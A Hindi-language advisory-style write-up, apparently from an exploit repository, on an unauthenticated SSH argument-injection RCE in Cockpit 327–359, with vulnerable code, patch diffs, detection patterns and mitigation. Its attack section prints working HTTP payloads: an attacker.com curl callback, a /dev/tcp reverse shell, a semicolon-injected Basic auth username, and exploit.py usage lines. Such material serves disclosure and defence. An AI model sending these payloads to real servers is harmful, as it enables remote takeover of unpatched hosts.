
कॉकपिट: SSH कमांड-लाइन आर्गुमेंट इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2026-4631 |
| GHSA | GHSA-m4gv-x78h-3427 |
| गंभीरता | क्रिटिकल (CVSS 9.8) |
| प्रभावित संस्करण | Cockpit 327 – 359 |
| समाधान | Cockpit 360 |
| CWE | CWE-78: OS कमांड इंजेक्शन |
| प्रमाणीकरण आवश्यक | नहीं |
| रिपोर्टकर्ता | Jelle van der Waa |
Cockpit की रिमोट लॉगिन सुविधा उपयोगकर्ता-आपूर्ति होस्टनाम (URL पथ से) और उपयोगकर्ता नाम (Authorization: Basic हेडर से) को बिना किसी सत्यापन या स्वच्छता के सीधे OpenSSH ssh बाइनरी को पास करती है।
पोर्ट 9090 तक नेटवर्क पहुंच वाला एक बिना प्रमाणीकृत हमलावर एक ही HTTP अनुरोध तैयार कर सकता है जो:
-oProxyCommand=<cmd>)%r टोकन विस्तार का शोषण करके शेल कमांड इंजेक्ट करता हैदोनों इंजेक्शन बिंदु क्रेडेंशियल सत्यापन पूरा होने से पहले सक्रिय होते हैं, जिसका अर्थ है कि कोई वैध लॉगिन आवश्यक नहीं है।

संस्करण 327 से पहले, Cockpit रिमोट कनेक्शन के लिए cockpit-ssh नामक एक समर्पित C बाइनरी (libssh पर आधारित) का उपयोग करता था। संस्करण 327 से शुरू करके, इसे इसके साथ बदल दिया गया:
python3 -m cockpit.beiboot
जो सिस्टम OpenSSH ssh क्लाइंट को आमंत्रित करता है। इस परिवर्तन ने भेद्यता पेश की क्योंकि नया कोड पथ उपयोगकर्ता-नियंत्रित मानों को बिना स्वच्छता के सीधे ssh को पास करता है।
-- विभाजक नहींSSH क्लाइंट - से शुरू होने वाले तर्कों को विकल्प के रूप में व्याख्या करता है, होस्टनाम के रूप में नहीं, जब तक कि उनसे पहले -- विभाजक न हो। -- के बिना, - से शुरू होने वाला कोई भी होस्टनाम SSH फ़्लैग के रूप में पार्स किया जाता है।
भेद्य निर्माण:
ssh [विकल्प] <होस्टनाम> <रिमोट-कमांड>
सुरक्षित निर्माण:
ssh [विकल्प] -- <होस्टनाम> <रिमोट-कमांड>
न तो cockpit-ws (C कोड) और न ही cockpit.beiboot (Python कोड) सत्यापित या स्वच्छ करता है:
Authorization: Basic हेडर से निकाला गया उपयोगकर्ता नामargparse बग (CPython #66623)एक ज्ञात CPython बग के कारण argparse - से शुरू होने वाले तर्कों को गलत तरीके से संभालता है जिनमें रिक्त स्थान भी होते हैं, उन्हें फ़्लैग के बजाय स्थितीय के रूप में मानता है। यह -oProxyCommand=evil command होस्टनाम को Python तर्क पार्सिंग से गुजरने और ssh तक एक विकल्प के रूप में पहुंचने की अनुमति देता है।
src/cockpit/beiboot.py — प्राथमिक इंजेक्शन बिंदुयह सबसे महत्वपूर्ण फ़ाइल है। via_ssh() फ़ंक्शन SSH कमांड तर्क सूची बनाता है।
def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
"""Build an ssh command to run `cmd` on `dest`."""
# Parse optional port from dest (e.g. "host:2222")
host, _, port = dest.rpartition(':')
if port.isdigit() and host:
# Strip IPv6 brackets
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# VULNERABLE: No '--' before host
# If host = "-oProxyCommand=evil", ssh treats it as an option
destination = ['-p', port, host]
else:
# VULNERABLE: Raw attacker input passed directly to ssh
destination = [dest]
return (
'ssh', *ssh_opts, *destination, shlex.join(cmd)
)
dest = "-oProxyCommand=curl http://attacker.com/id" के साथ:
arg0: ssh
arg1: -oNumberOfPasswordPrompts=1 ← cockpit विकल्प
arg2: -oProxyCommand=curl http://... ← SSH विकल्प के रूप में पार्स किया गया (होस्ट नहीं)
arg3: python3 -ic '# cockpit-bridge' ← "होस्टनाम" बन जाता है → ProxyCommand ट्रिगर करता है
if port.isdigit() and host:
if host.startswith('[') and host.endswith(']'):
host = host[1:-1]
# FIXED: '--' forces everything after it to be positional
destination = ['-p', port, '--', host]
else:
# FIXED: '--' separator added
destination = ['--', dest]
src/ws/cockpitauth.c — C परत: होस्टनाम निष्कर्षणयह C फ़ाइल प्रारंभिक HTTP अनुरोध पार्सिंग को संभालती है और beiboot प्रक्रिया को स्पॉन करती है।
static const gchar *
application_parse_host(const gchar *application)
{
const gchar *prefix = "cockpit+=";
gint len = strlen(prefix);
g_return_val_if_fail(application != NULL, NULL);
// Extracts everything after "cockpit+=" from the URL path
// No character validation — dashes, special chars allowed
if (g_str_has_prefix(application, prefix) && application[len] != '\0')
return application + len;
else
return NULL;
}
लौटाया गया होस्टनाम beiboot स्पॉन करते समय सीधे एक तर्क के रूप में पास किया जाता है:
// cockpit_ws_ssh_program is the spawn command template
// VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
// ^
// No trailing '--' means hostname can be parsed
// as a flag by Python's argparse (CPython #66623)
// FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
"/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
static CockpitCreds *
build_session_credentials(CockpitAuth *self,
CockpitWebRequest *request,
const char *application,
const char *host,
const char *type,
const char *authorization)
{
char *user = NULL;
char *raw = NULL;
if (g_strcmp0(type, "basic") == 0) {
// Decodes Authorization: Basic base64(user:password)
// No validation of 'user' — semicolons, special chars allowed
raw = cockpit_authorize_parse_basic(authorization, &user);
}
// 'user' is passed into credentials and eventually to 'ssh -l <user>'
creds = cockpit_creds_new(application,
COCKPIT_CRED_USER, user, // unsanitized
...);
}
vendor/ferny/src/ferny/session.py — तीसरा इंजेक्शन बिंदुबंडल की गई ferny लाइब्रेरी (SSH इंटरैक्शन के लिए उपयोग की जाती है) में अपने सबप्रोसेस कॉल में समान -- चूक है।
async def connect(self, ...):
...
# SSH_ASKPASS_REQUIRE is not generally available, so use setsid
process = await asyncio.create_subprocess_exec(
# VULNERABLE: hardcoded path + no '--' before destination
*('/usr/bin/ssh', *args, destination),
env=env,
start_new_session=True,
stdin=asyncio.subprocess.DEVNULL,
stdout=asyncio.subprocess.DEVNULL,
stderr=agent,
preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
)
process = await asyncio.create_subprocess_exec(
# FIXED: PATH lookup instead of hardcoded path + '--' added
*('ssh', *args, '--', destination),
env=env,
...
)
containers/ws/cockpit-auth-ssh-key — कंटेनर परिनियोजन पथयह स्क्रिप्ट Docker/कंटेनर-आधारित Cockpit परिनियोजन में उपयोग की जाने वाली प्रमाणीकरण कमांड है।
#!/usr/bin/env python3
import os, sys
# Extract host from environment
host = os.environ.get('COCKPIT_SSH_CONNECT_TO', sys.argv[1])
# VULNERABLE: same root cause — host passed unsanitized to beiboot
os.execlpe("python3", "python3", "-m", "cockpit.beiboot", host, os.environ)
यह मुख्य beiboot.py पथ से एक अलग प्रवेश बिंदु है, जिसका अर्थ है कि Cockpit की कंटेनर परिनियोजन स्वतंत्र रूप से भेद्य हैं, भले ही मुख्य कोड पथ में पैच किया गया हो।
पूर्व शर्त: Cockpit होस्ट पर OpenSSH < 9.6 (OpenSSH 9.6 ने प्रारंभिक होस्टनाम सत्यापन पेश किया जो शेल मेटाकैरेक्टर को ब्लॉक करता है)।
HTTP अनुरोध:
GET /cockpit+=-oProxyCommand=<COMMAND>/login HTTP/1.1
Host: <target>:9090
Authorization: Basic aW52YWxpZDppbnZhbGlk
डिकोड किया गया Authorization: invalid:invalid — कोई भी मान काम करता है।
यह कैसे काम करता है:
-oProxyCommand=<COMMAND> को "होस्टनाम" के रूप में निकालता हैvia_ssh() बनाता है: ssh -oProxyCommand=<COMMAND> python3 -ic '# cockpit-bridge'-oProxyCommand=<COMMAND> को एक विकल्प के रूप में पार्स करता है (होस्ट नहीं)python3 -ic '# cockpit-bridge' को होस्टनाम के रूप में उपयोग करता है<COMMAND> को ProxyCommand के रूप में निष्पादित करता है<COMMAND> cockpit-ws प्रक्रिया उपयोगकर्ता के रूप में चलता हैउदाहरण — OOB कॉलबैक:
GET /cockpit+=-oProxyCommand=curl%20http%3A%2F%2Fattacker.com%2F%60id%60/login HTTP/1.1
डिकोड किया गया ProxyCommand: curl http://attacker.com/id``
उदाहरण — रिवर्स शेल:
GET /cockpit+=-oProxyCommand=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F4444%200%3E%261/login HTTP/1.1
डिकोड किया गया ProxyCommand: bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
%r टोकन इंजेक्शनपूर्व शर्त: लक्ष्य के ssh_config में %r टोकन (रिमोट उपयोगकर्ता नाम) का उपयोग करने वाला एक Match exec निर्देश शामिल है।
उदाहरण भेद्य ssh_config:
Match exec "/usr/bin/test %r = blocked_user"
ProxyCommand /bin/false
HTTP अनुरोध:
GET /cockpit+=legitimate-host/login HTTP/1.1
Host: <target>:9090
Authorization: Basic eDsgdG91Y2ggL3RtcC9wd25lZDsgIzppbnZhbGlk
डिकोड किया गया Authorization: x; touch /tmp/pwned; #:invalid
निकाला गया उपयोगकर्ता नाम: x; touch /tmp/pwned; #
यह कैसे काम करता है:
Match exec कमांड निष्पादित करने से पहले %r को उपयोगकर्ता नाम के साथ विस्तारित करता है/usr/bin/test x; touch /tmp/pwned; # = blocked_usertouch /tmp/pwned चलाता है, फिर बाकी को अनदेखा करता है
समाधान न्यूनतम है — SSH को आमंत्रित करने वाले हर स्थान पर गंतव्य तर्क से पहले -- (POSIX अंत-विकल्प विभाजक) जोड़ना।
src/cockpit/beiboot.py (कमिट 9d0695647)- destination = ['-p', port, host]
+ destination = ['-p', port, '--', host]
- destination = [dest]
+ destination = ['--', dest]
src/ws/cockpitauth.c (कमिट 9d0695647)- const gchar *cockpit_ws_ssh_program =
- "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
+ const gchar *cockpit_ws_ssh_program =
+ "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";
vendor/ferny/src/ferny/session.py (कमिट 44ec511c99)- *('/usr/bin/ssh', *args, destination),
+ *('ssh', *args, '--', destination),
-- इसे क्यों ठीक करता है-- टोकन तर्क पार्सर्स (दोनों Python argparse और OpenSSH के विकल्प पार्सर) को बताता है कि बाद के सभी टोकन स्थितीय तर्क हैं, विकल्प नहीं। -- के बाद, -oProxyCommand=evil जैसा मान एक शाब्दिक होस्टनाम स्ट्रिंग के रूप में माना जाता है, जिसे SSH फिर अमान्य के रूप में अस्वीकार करता है — यह कभी भी कुछ निष्पादित नहीं करता है।
Cockpit के लॉगिन एंडपॉइंट पर HTTP अनुरोधों की तलाश करें जहां पथ घटक में SSH विकल्प सिंटैक्स हो:
GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login
विशेष रूप से इन पर ध्यान दें:
-oProxyCommand= (वेक्टर 1)Authorization: Basic डिकोड किए गए मान में अर्धविराम (वेक्टर 2)# Check for beiboot spawn with suspicious arguments
journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
# Check SSH invocations from cockpit-ws user
journalctl _COMM=ssh | grep -v "^--$"
# Check if installed version is vulnerable
dpkg -l cockpit-ws | awk 'NR==5{print $3}'
# Vulnerable if version is between 327 and 359 inclusive
rpm -q cockpit-ws
# Same version check applies
python3 exploit.py --target http://localhost:9090/ --vector username

python3 exploit.py --file url.txt --vector username

python3 exploit.py --target http://localhost:9090/ --vector username --callback CALLBACK

python3 exploit.py --target http://localhost:9090/ --vector username --cmd "id > /tmp/id"

/etc/cockpit/cockpit.conf में जोड़ें:
[WebService]
LoginTo = false
यह रिमोट लॉगिन सुविधा को पूरी तरह से अक्षम कर देता है, beiboot कोड पथ को ट्रिगर होने से रोकता है।
| संसाधन | URL |
|---|---|
| OSS-Security प्रकटीकरण | https://www.openwall.com/lists/oss-security/2026/04/10/5 |
| GitHub सुरक्षा सलाह | https://github.com/cockpit-project/cockpit/security/advisories/GHSA-m4gv-x78h-3427 |
| Bugzilla मुद्दा | https://bugzilla.redhat.com/show_bug.cgi?id=2450246 |
| समाधान कमिट (cockpit) | https://github.com/cockpit-project/cockpit/commit/9d0695647 |
| समाधान कमिट (ferny) | https://github.com/allisonkarlitskaya/ferny/commit/44ec511c99 |
| CPython argparse बग | https://github.com/python/cpython/issues/66623 |
| OpenSSH 9.6 होस्टनाम सत्यापन | https://github.com/openssh/openssh-portable/commit/7ef3787 |